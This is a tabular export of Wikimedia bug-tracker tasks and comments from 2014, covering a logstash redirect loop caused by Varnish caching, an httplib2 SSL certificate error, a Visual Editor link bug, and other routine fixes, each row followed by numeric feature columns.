+292819,parsoidserver-http-bad-status,"The API issues were probably the internal LVS failure today, caused by a networking configuration error. See Mark's mail titled ""Outage report: LVS outage February 3, 2013"" on the ops list.",,,1391463920,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+292811,parsoidserver-http-bad-status,"This page loads for me: http://parsoid-lb.eqiad.wikimedia.org/itwiki/Utente%3ABaruneju%2Fsandbox2?oldid=63854985
+
+Sometimes issues in the MW API are misreported as 404s on our end, so maybe this was a transient API failure. The misleading error reporting is tracked in bug 58390.",,,1391455828,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+292805,parsoidserver-http-bad-status,"The problem is not limited to the mobile version, it also happens on the Web using both Firefox and Chrome, both Monobook and Vector.
+Example response: (on it.wiki user sandbox, but it also applies to en.wiki NS:0)
+
+{""servedby"":""mw1121"",""error"":{""code"":""parsoidserver-http-timed-out"",""info"":""http://10.2.2.29/itwiki/Utente%3ABaruneju%2Fsandbox2?oldid=63854985""}}",,,1391427708,,PHID-USER-w7kicrzlpwfrteo6zs5p,False,,,PHID-TASK-btmvpbqnfpj57y5y72ua,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+62488,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Several users have reported seeing a redirect loop error page when attempting to access http://logstash.wikimedia.org. Using the https protocol seems to correct the issue.
+
+I have personally not been able to recreate the redirect loop in my browser, but I can recreate it using curl from the command line:
+
+    curl -v -L http://logstash.wikimedia.org
+
+Expected:
+* GET / HTTP/1.1
+* 301 Moved Permanently; Location: https://logstash.wikimedia.org/
+* GET / HTTP/1.1
+* 401 Authorization Required
+
+Got:
+* GET / HTTP/1.1
+* 301 Moved Permanently; Location: https://logstash.wikimedia.org/
+* GET / HTTP/1.1
+* 301 Moved Permanently; Location: https://logstash.wikimedia.org/
+* ...
+
+
+Behavior seems to be intermittent. During testing to file this bug I could recreate the looping behavior for several requests in a row followed by several proper redirects followed again by several redirect loops. This seems to indicate that a single node in a load balanced cluster is misbehaving.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1390849860,1391104046.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,,False,PHID-TASK-z3q3tkdnbphobfl2fusu,task_description,resolved,True,c3,1,True,False,True,-75,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+293842,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Ori fixed this with a cool bit of Apache config:
+
+  RewriteRule ^/(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,E=ProtoRedirect]
+  Header always merge Vary X-Forwarded-Proto env=ProtoRedirect
+
+This works around an annoying bit of esoteric Apache internals where headers are stripped during redirect generation and have to be reapplied later. See http://stackoverflow.com/a/3711110/8171 for a description of the underlying ""feature"" that is being addressed.",,,1391104046,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-74,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+293837,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110393 abandoned by BryanDavis:
+varnish: Add X-Forwarded-Proto to Vary on redirects
+
+Reason:
+Ori's workaround in Id2cc29f911fa36805320cdb606a5da1226c9d230 is less yucky
+
+https://gerrit.wikimedia.org/r/110393",,,1391103423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+293830,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110396 merged by Ori.livneh:
+kibana: Set Vary: X-Forwarded-Proto on HTTP -> HTTPS 301s
+
+https://gerrit.wikimedia.org/r/110396",,,1391103412,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+293822,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110396 had a related patch set uploaded by Ori.livneh:
+kibana: Set Vary: X-Forwarded-Proto on HTTP -> HTTPS 301s
+
+https://gerrit.wikimedia.org/r/110396",,,1391103383,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+293816,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"Change 110393 had a related patch set uploaded by BryanDavis:
+varnish: Add X-Forwarded-Proto to Vary on redirects
+
+https://gerrit.wikimedia.org/r/110393",,,1391100958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,False,,,-74,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+293813,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"(In reply to comment #4)
+> Can X-Forwarded-Proto by used with a Vary header?
+
+*be used",,,1390935461,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1
+293809,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,Can X-Forwarded-Proto by used with a Vary header?,,,1390935448,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+293805,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"I think there are two possible solutions to this:
+
+1. Send a Cache-Control header along with the 301 response to keep Varnish from caching the redirect
+2. Add the X-Forwarded-Proto header to the hash inside Varnish
+
+    sub vcl_hash {
+      if (req.http.X-Forwarded-Proto) {
+        set req.hash += req.http.X-Forwarded-Proto;
+      }
+    }",,,1390934588,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+293801,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,"It looks like Varnish is caching the 301 response under some circumstances:
+
+    < HTTP/1.1 301 Moved Permanently
+    < Server: nginx/1.1.19
+    < Date: Mon, 27 Jan 2014 21:12:13 GMT
+    < Content-Type: text/html; charset=iso-8859-1
+    < Transfer-Encoding: chunked
+    < Connection: keep-alive
+    < Location: https://logstash.wikimedia.org/
+    < Vary: Accept-Encoding
+    < X-Varnish: 2005611465 2005610948
+    < Age: 102
+    < Via: 1.1 varnish
+    < X-Cache: cp1044 hit (450)
+
+Maybe a cache-control header needs to be added when sending the 301 to switch protocols?",,,1390857464,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+293798,Redirect loop accessing the non-SSL root URL for logstash.wikimedia.org,Ori suggested assigning to Faidon for triage/resolution.,,,1390850285,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-z3q3tkdnbphobfl2fusu,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+62379,Internal link turned into a full http link after copy paste from another VE in FireFox,"Steps to reproduce:
+
+1.Open the Visual Editor for a page which contains an internal link with FireFox
+
+2.Copy the link and paste it into another VE
+
+3.Save the page.
+
+Observed Result:
+After copy a ""[[example|example]]"" link, when pasting the link is turned into a ""[[https://fr.wikipedia.org/example|example]]"" link.
+It appears as follows: https://fr.wikipedia.org/w/index.php?title=Utilisateur:NemesisIII/Brouillon&diff=100540861&oldid=100181721
+
+With Firefox 28, at least on fr.wp . (Sorry for my bad English)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1390514040,1390515118.0,PHID-USER-4cgt73x34j35pnbem65l,False,,False,PHID-TASK-dfa2ksgclzdlydh5yymo,task_description,resolved,True,c3,1,False,False,True,-75,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+287874,Internal link turned into a full http link after copy paste from another VE in FireFox,"
+
+*** This bug has been marked as a duplicate of bug 58902 ***",,,1390515118,,PHID-USER-4cgt73x34j35pnbem65l,False,,,PHID-TASK-dfa2ksgclzdlydh5yymo,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+62095,find a way to automatically install a version of httplib2 that works with MediaWiki,"**Author:** `sumanah`
+
+**Description:**
+I'm already logged into meta.wikimedia.org. On metrics.wmflabs.org, if I try to log in by clicking the meta.wikimedia.org logo, the OAuth authorization step goes smoothly.
+
+But on my own local installation of Wikimetrics, in my dev environment running git master, if I try to log in by clicking the meta.wikimedia.org logo, I get an error. (Login via Google goes fine.)
+
+
+
+httplib2.SSLHandshakeError
+
+SSLHandshakeError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+Traceback (most recent call last)
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1701, in __call__
+
+    return self.wsgi_app(environ, start_response)
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1689, in wsgi_app
+
+    response = self.make_response(self.handle_exception(e))
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1687, in wsgi_app
+
+    response = self.full_dispatch_request()
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1360, in full_dispatch_request
+
+     [Display the sourcecode for this frame]  [Open an interactive python shell in this frame] rv = self.handle_user_exception(e)
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1358, in full_dispatch_request
+
+    rv = self.dispatch_request()
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask/app.py"", line 1344, in dispatch_request
+
+    return self.view_functions[rule.endpoint](**req.view_args)
+
+    File ""/home/sumanah/test/wikimetrics/wikimetrics/controllers/authentication.py"", line 103, in login_meta_mw
+
+    redirector = meta_mw.authorize()
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 331, in authorize
+
+    token = self.generate_request_token(callback)[0]
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 296, in generate_request_token
+
+    self.request_token_params)
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/flask_oauth.py"", line 108, in request_new_token
+
+    body=body, headers=headers)
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1570, in request
+
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1317, in _request
+
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1252, in _conn_request
+
+    conn.connect()
+
+    File ""/home/sumanah/.virtualenvs/metrics/lib/python2.7/site-packages/httplib2/__init__.py"", line 1044, in connect
+
+    raise SSLHandshakeError(e)
+
+    SSLHandshakeError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1389810240,1391013153.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5k7ae4lvmefpxeskdp47,task_description,resolved,True,c3,1,False,False,True,-77,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+286419,find a way to automatically install a version of httplib2 that works with MediaWiki,"I tried that, and even though I was using --allow-remote httplib2 and --allow-unverified httplib2, pip didn't seem to want to install from that remote.  If you'd like to give it a shot, patches are always welcome - I'm kind of a dunce when it comes to this configuration / setup stuff.",,,1391018866,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+286414,find a way to automatically install a version of httplib2 that works with MediaWiki,"Change 110200 merged by Milimetric:
+Fix Bug: 60095
+
+https://gerrit.wikimedia.org/r/110200",,,1391018666,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+286409,find a way to automatically install a version of httplib2 that works with MediaWiki,"If you explicitly require version httplib2-0.8-pywikibot1 (i.e. httplib2==0.8-pywikibot1), any already installed versions should be ignored.",,,1391014981,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,True,,,-75,True,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1
+286402,find a way to automatically install a version of httplib2 that works with MediaWiki,"Thanks a lot for the help Merlijn van Deen.  I'm closing this bug for now because the install script seems to handle things a little better than pip, even with the dependency_links set up like you have them.  Basically, if httplib2 is already installed, only uninstalling it and checking pip freeze, then installing the correct one is guaranteed to get you set up properly.",,,1391013153,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+286394,find a way to automatically install a version of httplib2 that works with MediaWiki,"Change 110200 had a related patch set uploaded by Milimetric:
+Fix Bug: 60095
+
+https://gerrit.wikimedia.org/r/110200",,,1391013008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+286391,find a way to automatically install a version of httplib2 that works with MediaWiki,"See https://github.com/wikimedia/pywikibot-core/blob/master/setup.py#L68 (line 68) for how to do this from setup.py.
+
+You can also install the ubuntu python-httplib2 package centrally, as that one uses the system certificate store.
+
+Unfortunately it's almost impossible to distinguish this one from a 'pip install'ed one, which carries it's own certificates... (you could check httplib2.CA_CERTS, I guess)",,,1390988674,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+286387,find a way to automatically install a version of httplib2 that works with MediaWiki,"Yep, that's what we do.  And right now we're doing some weird pip freeeze | grep httplib stuff to figure out which library is installed, uninstall the wrong one and install the pywikibot one.  Do you know of a way to just reference the pywikibot one from requirements.txt or setup.py so that pip can find them?",,,1390949216,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+286384,find a way to automatically install a version of httplib2 that works with MediaWiki,"You can use the pywikibot/externals/httplib2 fork, we took the certificates from the python-requests library. http://lists.wikimedia.org/pipermail/pywikipedia-l/2013-August/008214.html has some background about why.",,,1390948210,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,True,,,-75,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+286381,find a way to automatically install a version of httplib2 that works with MediaWiki,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1394",,,1390946382,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+62048,Messages broken on login/account creation page,"https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Uru_people&returntoquery=article_action%3Dwatch
+
+The same line is repeated twice. This is clearly a mistake :)
+
+Also on
+https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Uru_people&returntoquery=article_action%3Dwatch
+A message '&lt;mobile-frontend-watchlist-login&gt;' is not translated.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1389723180,1389902980.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-szx7krfdck4poxrlm7te,task_description,resolved,True,c3,1,True,False,True,-77,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+284010,Messages broken on login/account creation page,"Change 107756 merged by jenkins-bot:
+Fix broken messages on account creation / login for watchlist
+
+https://gerrit.wikimedia.org/r/107756",,,1389902141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szx7krfdck4poxrlm7te,task_subcomment,,True,c3,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+284005,Messages broken on login/account creation page,"Change 107756 had a related patch set uploaded by Jdlrobson:
+Fix broken messages on account creation / login for watchlist
+
+https://gerrit.wikimedia.org/r/107756",,,1389836072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szx7krfdck4poxrlm7te,task_subcomment,,True,c3,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+284001,Messages broken on login/account creation page,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1616",,,1389723629,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-szx7krfdck4poxrlm7te,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+61926,lighttpd redirects fail without a trailing slash,"On the lighttpd web server in WMF labs, links fail if they don't contain a trailing slash.  Compare:
+
+- http://tools.wmflabs.org/matthewrbowker/cnrd
+- http://tools.wmflabs.org/matthewrbowker/cnrd/
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1389394800,1398802201.0,PHID-USER-vzo36k53hgat5bwuxsn5,False,,False,PHID-TASK-btgy7refdigriymdsthr,task_description,resolved,True,c3,1,True,False,True,-77,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
